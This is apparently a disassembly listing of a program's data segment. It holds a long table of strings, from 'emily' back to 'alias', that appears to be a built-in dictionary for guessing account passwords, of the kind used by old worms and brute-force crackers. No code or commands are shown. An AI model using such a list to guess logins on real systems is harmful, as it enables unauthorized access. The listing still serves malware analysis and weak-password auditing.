aEmily		db 'emily',0            ; DATA XREF: seg002:0042CC24o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: seg002:0042CC20o
aEmail		db 'email',0            ; DATA XREF: seg002:0042CC1Co
		align 4
aEllen		db 'ellen',0            ; DATA XREF: seg002:0042CC18o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: seg002:0042CC14o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: seg002:0042CC10o
		align 4
aElectron	db 'electron',0         ; DATA XREF: seg002:0042CC0Co
		align 10h
aElanor		db 'elanor',0           ; DATA XREF: seg002:0042CC08o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: seg002:0042CC04o
		align 10h
aEinstein	db 'einstein',0         ; DATA XREF: seg002:0042CC00o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: seg002:0042CBFCo
		align 4
aEileen		db 'eileen',0           ; DATA XREF: seg002:0042CBF8o
		align 10h
aEiderdow	db 'eiderdow',0         ; DATA XREF: seg002:0042CBF4o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: seg002:0042CBF0o
aEdwina		db 'edwina',0           ; DATA XREF: seg002:0042CBECo
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: seg002:0042CBE8o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: seg002:0042CBE4o
		align 10h
aEducation	db 'education',0        ; DATA XREF: seg002:0042CBE0o
		align 4
aEdition	db 'edition',0          ; DATA XREF: seg002:0042CBDCo
aEdit		db 'edit',0             ; DATA XREF: seg002:0042CBD8o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: seg002:0042CBD4o
		align 4
aEdges		db 'edges',0            ; DATA XREF: seg002:0042CBD0o
		align 10h
aEddie		db 'eddie',0            ; DATA XREF: seg002:0042CBCCo
		align 4
aEcho		db 'echo',0             ; DATA XREF: seg002:0042CBC8o
		align 10h
aEatme		db 'eatme',0            ; DATA XREF: seg002:0042CBC4o
		align 4
aEasy		db 'easy',0             ; DATA XREF: seg002:0042CBC0o
		align 10h
aEasier		db 'easier',0           ; DATA XREF: seg002:0042CBBCo
		align 4
aEarth		db 'earth',0            ; DATA XREF: seg002:0042CBB8o
		align 10h
aEagle		db 'eagle',0            ; DATA XREF: seg002:0042CBB4o
		align 4
aEager		db 'eager',0            ; DATA XREF: seg002:0042CBB0o
		align 10h
aDyke		db 'dyke',0             ; DATA XREF: seg002:0042CBACo
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: seg002:0042CBA8o
aDuncan		db 'duncan',0           ; DATA XREF: seg002:0042CBA4o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: seg002:0042CBA0o
		align 10h
aDuke		db 'duke',0             ; DATA XREF: seg002:0042CB9Co
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: seg002:0042CB98o
aDude		db 'dude',0             ; DATA XREF: seg002:0042CB94o
		align 4
aDuck		db 'duck',0             ; DATA XREF: seg002:0042CB90o
		align 10h
aDrought	db 'drought',0          ; DATA XREF: seg002:0042CB8Co
aDrive		db 'drive',0            ; DATA XREF: seg002:0042CB88o
		align 10h
aDrdoom		db 'drdoom',0           ; DATA XREF: seg002:0042CB84o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: seg002:0042CB80o
		align 10h
aDownload	db 'download',0         ; DATA XREF: seg002:0042CB7Co
		align 4
aDope		db 'dope',0             ; DATA XREF: seg002:0042CB78o
		align 4
aDoors		db 'doors',0            ; DATA XREF: seg002:0042CB74o
		align 4
aDoor		db 'door',0             ; DATA XREF: seg002:0042CB70o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: seg002:0042CB6Co
		align 10h
aDoomsday	db 'doomsday',0         ; DATA XREF: seg002:0042CB68o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: seg002:0042CB64o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: seg002:0042CB60o
		align 4
aDoom		db 'doom',0             ; DATA XREF: seg002:0042CB5Co
		align 4
aDong		db 'dong',0             ; DATA XREF: seg002:0042CB58o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: seg002:0042CB54o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: seg002:0042CB50o
		align 4
aDisplay	db 'display',0          ; DATA XREF: seg002:0042CB4Co
aDisney		db 'disney',0           ; DATA XREF: seg002:0042CB48o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: seg002:0042CB44o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: seg002:0042CB40o
		align 10h
aDiscover	db 'discover',0         ; DATA XREF: seg002:0042CB3Co
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: seg002:0042CB38o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: seg002:0042CB34o
		align 4
aDisc		db 'disc',0             ; DATA XREF: seg002:0042CB30o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: seg002:0042CB2Co
		align 4
aDirector	db 'director',0         ; DATA XREF: seg002:0042CB28o
		align 10h
aDirect		db 'direct',0           ; DATA XREF: seg002:0042CB24o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: seg002:0042CB20o
aDinosaur	db 'dinosaur',0         ; DATA XREF: seg002:0042CB1Co
		align 4
aDigital	db 'digital',0          ; DATA XREF: seg002:0042CB18o
aDieter		db 'dieter',0           ; DATA XREF: seg002:0042CB14o
		align 4
aDiet		db 'diet',0             ; DATA XREF: seg002:0042CB10o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: seg002:0042CB0Co
aDick		db 'dick',0             ; DATA XREF: seg002:0042CB08o
		align 4
aDice		db 'dice',0             ; DATA XREF: seg002:0042CB04o
		align 4
aDiane		db 'diane',0            ; DATA XREF: seg002:0042CB00o
		align 4
aDiana		db 'diana',0            ; DATA XREF: seg002:0042CAFCo
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: seg002:0042CAF8o
aDial		db 'dial',0             ; DATA XREF: seg002:0042CAF4o
		align 4
aDevice		db 'device',0           ; DATA XREF: seg002:0042CAF0o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: seg002:0042CAECo
aDesperat	db 'desperat',0         ; DATA XREF: seg002:0042CAE8o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: seg002:0042CAE4o
aDesk		db 'desk',0             ; DATA XREF: seg002:0042CAE0o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: seg002:0042CADCo
aDennis		db 'dennis',0           ; DATA XREF: seg002:0042CAD8o
		align 4
aDenise		db 'denise',0           ; DATA XREF: seg002:0042CAD4o
		align 10h
aDemocrat	db 'democrat',0         ; DATA XREF: seg002:0042CAD0o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: seg002:0042CACCo
		align 4
aDelta		db 'delta',0            ; DATA XREF: seg002:0042CAC8o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: seg002:0042CAC4o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: seg002:0042CAC0o
aDeck		db 'deck',0             ; DATA XREF: seg002:0042CAB8o
		align 4
aDecember	db 'december',0         ; DATA XREF: seg002:0042CAB4o
		align 10h
aDebug		db 'debug',0            ; DATA XREF: seg002:0042CAB0o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: seg002:0042CAACo
aDebbie		db 'debbie',0           ; DATA XREF: seg002:0042CAA8o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: seg002:0042CAA4o
		align 4
aDead		db 'dead',0             ; DATA XREF: seg002:0042CAA0o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: seg002:0042CA9Co
		align 4
aDave		db 'dave',0             ; DATA XREF: seg002:0042CA98o
		align 4
aData		db 'data',0             ; DATA XREF: seg002:0042CA94o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: seg002:0042CA90o
		align 10h
aDark		db 'dark',0             ; DATA XREF: seg002:0042CA8Co
		align 4
aDapper		db 'dapper',0           ; DATA XREF: seg002:0042CA88o
		align 10h
aDanny		db 'danny',0            ; DATA XREF: seg002:0042CA84o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: seg002:0042CA80o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: seg002:0042CA7Co
		align 4
aDancer		db 'dancer',0           ; DATA XREF: seg002:0042CA78o
		align 4
aDana		db 'dana',0             ; DATA XREF: seg002:0042CA74o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: seg002:0042CA70o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: seg002:0042CA6Co
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: seg002:0042CA68o
aCyberspa	db 'cyberspa',0         ; DATA XREF: seg002:0042CA64o
		align 10h
aCyberpun	db 'cyberpun',0         ; DATA XREF: seg002:0042CA60o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: seg002:0042CA5Co
		align 4
aCustomer	db 'customer',0         ; DATA XREF: seg002:0042CA58o
		align 10h
aCunt		db 'cunt',0             ; DATA XREF: seg002:0042CA54o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: seg002:0042CA50o
		align 10h
aCrystal	db 'crystal',0          ; DATA XREF: seg002:0042CA4Co
aCristina	db 'cristina',0         ; DATA XREF: seg002:0042CA48o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: seg002:0042CA44o
		align 10h
aCrime		db 'crime',0            ; DATA XREF: seg002:0042CA40o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: seg002:0042CA3Co
		align 10h
aCreosote	db 'creosote',0         ; DATA XREF: seg002:0042CA38o
		align 4
aCredit		db 'credit',0           ; DATA XREF: seg002:0042CA34o
		align 4
aCreature	db 'creature',0         ; DATA XREF: seg002:0042CA30o
		align 10h
aCreation	db 'creation',0         ; DATA XREF: seg002:0042CA2Co
		align 4
aCreate		db 'create',0           ; DATA XREF: seg002:0042CA28o
		align 4
aCream		db 'cream',0            ; DATA XREF: seg002:0042CA24o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: seg002:0042CA20o
		align 4
aCrack		db 'crack',0            ; DATA XREF: seg002:0042CA1Co
		align 10h
aCowboy		db 'cowboy',0           ; DATA XREF: seg002:0042CA18o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: seg002:0042CA14o
		align 4
aCountry	db 'country',0          ; DATA XREF: seg002:0042CA10o
aCounters	db 'counters',0         ; DATA XREF: seg002:0042CA0Co
		align 4
aCorrect	db 'correct',0          ; DATA XREF: seg002:0042CA08o
aCorneliu	db 'corneliu',0         ; DATA XREF: seg002:0042CA04o
		align 4
aCopy		db 'copy',0             ; DATA XREF: seg002:0042CA00o
		align 4
aCops		db 'cops',0             ; DATA XREF: seg002:0042C9FCo
		align 4
aCopper		db 'copper',0           ; DATA XREF: seg002:0042C9F8o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: seg002:0042C9F4o
		align 4
aCool		db 'cool',0             ; DATA XREF: seg002:0042C9F0o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: seg002:0042C9ECo
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: seg002:0042C9E8o
		align 4
aCook		db 'cook',0             ; DATA XREF: seg002:0042C9E4o
		align 10h
aContinue	db 'continue',0         ; DATA XREF: seg000:0040EDDDo
					; seg002:0042C9E0o
		align 4
aConsole	db 'console',0          ; DATA XREF: seg002:0042C9DCo
aConserva	db 'conserva',0         ; DATA XREF: seg002:0042C9D8o
		align 10h
aConnie		db 'connie',0           ; DATA XREF: seg002:0042C9D4o
		align 4
aCondom		db 'condom',0           ; DATA XREF: seg002:0042C9CCo
		align 10h
aCondo		db 'condo',0            ; DATA XREF: seg002:0042C9C8o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: seg002:0042C9C4o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: seg002:0042C9C0o
aComputin	db 'computin',0         ; DATA XREF: seg002:0042C9BCo
		align 4
aCompany	db 'company',0          ; DATA XREF: seg002:0042C9B8o
aCommrade	db 'commrade',0         ; DATA XREF: seg002:0042C9B4o
		align 4
aCommit		db 'commit',0           ; DATA XREF: seg002:0042C9B0o
		align 4
aComics		db 'comics',0           ; DATA XREF: seg002:0042C9ACo
		align 4
aCombat		db 'combat',0           ; DATA XREF: seg002:0042C9A8o
		align 4
aColor		db 'color',0            ; DATA XREF: seg002:0042C9A4o
		align 4
aCollins	db 'collins',0          ; DATA XREF: seg002:0042C9A0o
aCold		db 'cold',0             ; DATA XREF: seg002:0042C99Co
		align 4
aCola		db 'cola',0             ; DATA XREF: seg002:0042C998o
		align 4
aCoke		db 'coke',0             ; DATA XREF: seg002:0042C994o
		align 4
aCoin		db 'coin',0             ; DATA XREF: seg002:0042C990o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: seg002:0042C98Co
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: seg002:0042C988o
		align 4
aCodename	db 'codename',0         ; DATA XREF: seg002:0042C984o
		align 4
aCode		db 'code',0             ; DATA XREF: seg002:0042C980o
		align 4
aCock		db 'cock',0             ; DATA XREF: seg002:0042C97Co
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: seg002:0042C978o
		align 10h
aCocacola	db 'cocacola',0         ; DATA XREF: seg002:0042C974o
		align 4
aCoast		db 'coast',0            ; DATA XREF: seg002:0042C970o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: seg002:0042C96Co
		align 10h
aCluster	db 'cluster',0          ; DATA XREF: seg002:0042C968o
aClinton	db 'clinton',0          ; DATA XREF: seg002:0042C964o
aCleavage	db 'cleavage',0         ; DATA XREF: seg002:0042C960o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: seg002:0042C95Co
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: seg002:0042C958o
aClassic	db 'classic',0          ; DATA XREF: seg002:0042C954o
aClasses	db 'classes',0          ; DATA XREF: seg002:0042C950o
aClass		db 'class',0            ; DATA XREF: seg002:0042C94Co
		align 4
aCindy		db 'cindy',0            ; DATA XREF: seg002:0042C948o
		align 10h
aCigarett	db 'cigarett',0         ; DATA XREF: seg002:0042C944o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: seg002:0042C940o
		align 4
aChristy	db 'christy',0          ; DATA XREF: seg002:0042C93Co
aChristin	db 'christin',0         ; DATA XREF: seg002:0042C938o
		align 4
aChris		db 'chris',0            ; DATA XREF: seg002:0042C934o
		align 10h
aChip		db 'chip',0             ; DATA XREF: seg002:0042C930o
		align 4
aChester	db 'chester',0          ; DATA XREF: seg002:0042C92Co
aChess		db 'chess',0            ; DATA XREF: seg002:0042C928o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: seg002:0042C924o
		align 4
aChem		db 'chem',0             ; DATA XREF: seg002:0042C920o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: seg002:0042C91Co
		align 4
aCharon		db 'charon',0           ; DATA XREF: seg002:0042C918o
		align 4
aCharming	db 'charming',0         ; DATA XREF: seg002:0042C914o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: seg002:0042C910o
aCharles	db 'charles',0          ; DATA XREF: seg002:0042C90Co
aCharity	db 'charity',0          ; DATA XREF: seg002:0042C908o
aChange		db 'change',0           ; DATA XREF: seg002:0042C904o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: seg002:0042C900o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: seg002:0042C8FCo
aCeltic		db 'celtic',0           ; DATA XREF: seg002:0042C8F8o
		align 4
aCelt		db 'celt',0             ; DATA XREF: seg002:0042C8F4o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: seg002:0042C8F0o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: seg002:0042C8ECo
		align 4
aCave		db 'cave',0             ; DATA XREF: seg002:0042C8E8o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: seg002:0042C8E4o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: seg002:0042C8E0o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: seg002:0042C8DCo
		align 4
aCastle		db 'castle',0           ; DATA XREF: seg002:0042C8D8o
		align 4
aCash		db 'cash',0             ; DATA XREF: seg002:0042C8D4o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: seg002:0042C8D0o
		align 10h
aCarson		db 'carson',0           ; DATA XREF: seg002:0042C8CCo
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: seg002:0042C8C8o
		align 10h
aCaroline	db 'caroline',0         ; DATA XREF: seg002:0042C8C4o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: seg002:0042C8C0o
		align 4
aCarole		db 'carole',0           ; DATA XREF: seg002:0042C8BCo
		align 10h
aCarol		db 'carol',0            ; DATA XREF: seg002:0042C8B8o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: seg002:0042C8B4o
		align 10h
aCarla		db 'carla',0            ; DATA XREF: seg002:0042C8B0o
		align 4
aCaren		db 'caren',0            ; DATA XREF: seg002:0042C8ACo
		align 10h
aCardinal	db 'cardinal',0         ; DATA XREF: seg002:0042C8A8o
		align 4
aCard		db 'card',0             ; DATA XREF: seg002:0042C8A4o
		align 4
aCapture	db 'capture',0          ; DATA XREF: seg002:0042C8A0o
aCaptain	db 'captain',0          ; DATA XREF: seg002:0042C89Co
aCantor		db 'cantor',0           ; DATA XREF: seg002:0042C898o
		align 4
aCandy		db 'candy',0            ; DATA XREF: seg002:0042C894o
		align 4
aCandi		db 'candi',0            ; DATA XREF: seg002:0042C890o
		align 4
aCamping	db 'camping',0          ; DATA XREF: seg002:0042C88Co
aCampanil	db 'campanil',0         ; DATA XREF: seg002:0042C888o
		align 10h
aCamille	db 'camille',0          ; DATA XREF: seg002:0042C884o
aCaliforn	db 'californ',0         ; DATA XREF: seg002:0042C880o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: seg002:0042C87Co
		align 10h
aButt		db 'butt',0             ; DATA XREF: seg002:0042C878o
		align 4
aButch		db 'butch',0            ; DATA XREF: seg002:0042C874o
		align 10h
aBurn		db 'burn',0             ; DATA XREF: seg002:0042C870o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: seg002:0042C86Co
aBung		db 'bung',0             ; DATA XREF: seg002:0042C868o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: seg002:0042C864o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: seg002:0042C860o
		align 10h
aBulls		db 'bulls',0            ; DATA XREF: seg002:0042C85Co
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: seg002:0042C858o
		align 4
aBrute		db 'brute',0            ; DATA XREF: seg002:0042C854o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: seg002:0042C850o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: seg002:0042C84Co
aBroadway	db 'broadway',0         ; DATA XREF: seg002:0042C848o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: seg002:0042C844o
aBrian		db 'brian',0            ; DATA XREF: seg002:0042C840o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: seg002:0042C83Co
		align 4
aBreast		db 'breast',0           ; DATA XREF: seg002:0042C838o
		align 4
aBreak		db 'break',0            ; DATA XREF: seg002:0042C834o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: seg002:0042C830o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: seg002:0042C82Co
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: seg002:0042C828o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: seg002:0042C824o
aBoyscout	db 'boyscout',0         ; DATA XREF: seg002:0042C820o
		align 10h
aBorn		db 'born',0             ; DATA XREF: seg002:0042C81Co
		align 4
aBook		db 'book',0             ; DATA XREF: seg002:0042C818o
		align 10h
aBoobs		db 'boobs',0            ; DATA XREF: seg002:0042C814o
		align 4
aBoob		db 'boob',0             ; DATA XREF: seg002:0042C810o
		align 10h
aBoner		db 'boner',0            ; DATA XREF: seg002:0042C80Co
		align 4
aBomb		db 'bomb',0             ; DATA XREF: seg002:0042C808o
		align 10h
aBoard		db 'board',0            ; DATA XREF: seg002:0042C804o
		align 4
aBlues		db 'blues',0            ; DATA XREF: seg002:0042C800o
		align 10h
aBlue		db 'blue',0             ; DATA XREF: seg002:0042C7FCo
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: seg002:0042C7F8o
aBlow		db 'blow',0             ; DATA XREF: seg002:0042C7F4o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: seg002:0042C7F0o
		align 4
aBlood		db 'blood',0            ; DATA XREF: seg002:0042C7ECo
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: seg002:0042C7E8o
aBlonde		db 'blonde',0           ; DATA XREF: seg002:0042C7E4o
		align 4
aBlack		db 'black',0            ; DATA XREF: seg002:0042C7E0o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: seg002:0042C7DCo
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: seg002:0042C7D8o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: seg002:0042C7D4o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: seg002:0042C7D0o
		align 4
aBird		db 'bird',0             ; DATA XREF: seg002:0042C7CCo
		align 4
aBios		db 'bios',0             ; DATA XREF: seg002:0042C7C8o
		align 4
aBinary		db 'binary',0           ; DATA XREF: seg002:0042C7C4o
		align 4
aBill		db 'bill',0             ; DATA XREF: seg002:0042C7C0o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: seg002:0042C7BCo
aBicamera	db 'bicamera',0         ; DATA XREF: seg002:0042C7B8o
		align 4
aBible		db 'bible',0            ; DATA XREF: seg002:0042C7B4o
		align 10h
aBeverly	db 'beverly',0          ; DATA XREF: seg002:0042C7B0o
aBetty		db 'betty',0            ; DATA XREF: seg002:0042C7ACo
		align 10h
aBetsie		db 'betsie',0           ; DATA XREF: seg002:0042C7A8o
		align 4
aBeth		db 'beth',0             ; DATA XREF: seg002:0042C7A4o
		align 10h
aBeta		db 'beta',0             ; DATA XREF: seg002:0042C7A0o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: seg002:0042C79Co
		align 10h
aBerliner	db 'berliner',0         ; DATA XREF: seg002:0042C798o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: seg002:0042C794o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: seg002:0042C790o
		align 10h
aBeowulf	db 'beowulf',0          ; DATA XREF: seg002:0042C78Co
aBenz		db 'benz',0             ; DATA XREF: seg002:0042C788o
		align 10h
aBeloved	db 'beloved',0          ; DATA XREF: seg002:0042C784o
aBell		db 'bell',0             ; DATA XREF: seg002:0042C780o
		align 10h
aBehead		db 'behead',0           ; DATA XREF: seg002:0042C77Co
		align 4
aBegin		db 'begin',0            ; DATA XREF: seg002:0042C778o
		align 10h
aBeethove	db 'beethove',0         ; DATA XREF: seg002:0042C774o
		align 4
aBecky		db 'becky',0            ; DATA XREF: seg002:0042C770o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: seg002:0042C76Co
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: seg002:0042C768o
		align 4
aBeater		db 'beater',0           ; DATA XREF: seg002:0042C764o
		align 4
aBeast		db 'beast',0            ; DATA XREF: seg002:0042C760o
		align 4
aBear		db 'bear',0             ; DATA XREF: seg002:0042C75Co
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: seg002:0042C758o
		align 4
aBeach		db 'beach',0            ; DATA XREF: seg002:0042C754o
		align 10h
aBatman		db 'batman',0           ; DATA XREF: seg002:0042C750o
		align 4
aBatch		db 'batch',0            ; DATA XREF: seg002:0042C74Co
		align 10h
aBassoon	db 'bassoon',0          ; DATA XREF: seg002:0042C748o
aBass		db 'bass',0             ; DATA XREF: seg002:0042C744o
		align 10h
aBasic		db 'basic',0            ; DATA XREF: seg002:0042C740o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: seg002:0042C73Co
		align 4
aBartman	db 'bartman',0          ; DATA XREF: seg002:0042C738o
aBart		db 'bart',0             ; DATA XREF: seg002:0042C734o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: seg002:0042C730o
		align 10h
aBarf		db 'barf',0             ; DATA XREF: seg002:0042C72Co
		align 4
aBare		db 'bare',0             ; DATA XREF: seg002:0042C728o
		align 10h
aBarber		db 'barber',0           ; DATA XREF: seg002:0042C724o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: seg002:0042C720o
aBanks		db 'banks',0            ; DATA XREF: seg002:0042C71Co
		align 4
aBank		db 'bank',0             ; DATA XREF: seg002:0042C718o
		align 10h
aBandit		db 'bandit',0           ; DATA XREF: seg002:0042C714o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: seg002:0042C710o
aBanana		db 'banana',0           ; DATA XREF: seg002:0042C70Co
		align 4
aBall		db 'ball',0             ; DATA XREF: seg002:0042C708o
		align 10h
aBailey		db 'bailey',0           ; DATA XREF: seg002:0042C704o
		align 4
aBadass		db 'badass',0           ; DATA XREF: seg002:0042C700o
		align 10h
aBackdoor	db 'backdoor',0         ; DATA XREF: seg002:0042C6FCo
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: seg002:0042C6F8o
aBaby		db 'baby',0             ; DATA XREF: seg002:0042C6F4o
		align 4
aBabe		db 'babe',0             ; DATA XREF: seg002:0042C6F0o
		align 4
aAzure		db 'azure',0            ; DATA XREF: seg002:0042C6ECo
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: seg002:0042C6E8o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: seg002:0042C6E4o
		align 10h
aAttack		db 'attack',0           ; DATA XREF: seg002:0042C6E0o
		align 4
aAtom		db 'atom',0             ; DATA XREF: seg002:0042C6DCo
		align 10h
aAtmosphe	db 'atmosphe',0         ; DATA XREF: seg002:0042C6D8o
		align 4
aAthena		db 'athena',0           ; DATA XREF: seg002:0042C6D4o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: seg002:0042C6D0o
aAsian		db 'asian',0            ; DATA XREF: seg002:0042C6CCo
		align 4
aArtist		db 'artist',0           ; DATA XREF: seg002:0042C6C8o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: seg002:0042C6C4o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: seg002:0042C6C0o
		align 4
aArmy		db 'army',0             ; DATA XREF: seg002:0042C6BCo
		align 4
aArlene		db 'arlene',0           ; DATA XREF: seg002:0042C6B8o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: seg002:0042C6B4o
aAria		db 'aria',0             ; DATA XREF: seg002:0042C6B0o
		align 4
aApril		db 'april',0            ; DATA XREF: seg002:0042C6ACo
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: seg002:0042C6A8o
		align 10h
aAnything	db 'anything',0         ; DATA XREF: seg002:0042C6A4o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: seg002:0042C6A0o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: seg002:0042C69Co
		align 10h
aAnthrax	db 'anthrax',0          ; DATA XREF: seg002:0042C698o
aAnswer		db 'answer',0           ; DATA XREF: seg002:0042C694o
		align 10h
aAnonymou	db 'anonymou',0         ; DATA XREF: seg002:0042C690o
		align 4
aAnon		db 'anon',0             ; DATA XREF: seg002:0042C68Co
		align 4
aAnnette	db 'annette',0          ; DATA XREF: seg002:0042C688o
aAnne		db 'anne',0             ; DATA XREF: seg002:0042C684o
		align 4
aAnna		db 'anna',0             ; DATA XREF: seg002:0042C680o
		align 4
aAnita		db 'anita',0            ; DATA XREF: seg002:0042C67Co
		align 4
aAnimals	db 'animals',0          ; DATA XREF: seg002:0042C678o
aAnimal		db 'animal',0           ; DATA XREF: seg002:0042C674o
		align 4
aAngie		db 'angie',0            ; DATA XREF: seg002:0042C670o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: seg002:0042C66Co
		align 4
aAngela		db 'angela',0           ; DATA XREF: seg002:0042C668o
		align 10h
aAnfo		db 'anfo',0             ; DATA XREF: seg002:0042C664o
		align 4
aAndy		db 'andy',0             ; DATA XREF: seg002:0042C660o
		align 10h
aAndromac	db 'andromac',0         ; DATA XREF: seg002:0042C65Co
		align 4
aAndroid	db 'android',0          ; DATA XREF: seg002:0042C658o
aAndrea		db 'andrea',0           ; DATA XREF: seg002:0042C654o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: seg002:0042C650o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: seg002:0042C64Co
aAnarchis	db 'anarchis',0         ; DATA XREF: seg002:0042C648o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: seg002:0042C644o
		align 10h
aAnal		db 'anal',0             ; DATA XREF: seg002:0042C640o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: seg002:0042C63Co
		align 4
aAmerica	db 'america',0          ; DATA XREF: seg002:0042C638o
aAmber		db 'amber',0            ; DATA XREF: seg002:0042C634o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: seg002:0042C630o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: seg002:0042C62Co
aAlphabet	db 'alphabet',0         ; DATA XREF: seg002:0042C628o
		align 10h
aAllow		db 'allow',0            ; DATA XREF: seg002:0042C624o
		align 4
aAllison	db 'allison',0          ; DATA XREF: seg002:0042C620o
aAlison		db 'alison',0           ; DATA XREF: seg002:0042C61Co
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: seg002:0042C618o
		align 10h
aAlicia		db 'alicia',0           ; DATA XREF: seg002:0042C614o
		align 4
aAlice		db 'alice',0            ; DATA XREF: seg002:0042C610o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: seg002:0042C60Co
aAlias		db 'alias',0            ; DATA XREF: seg002:0042C608o
		align 10h
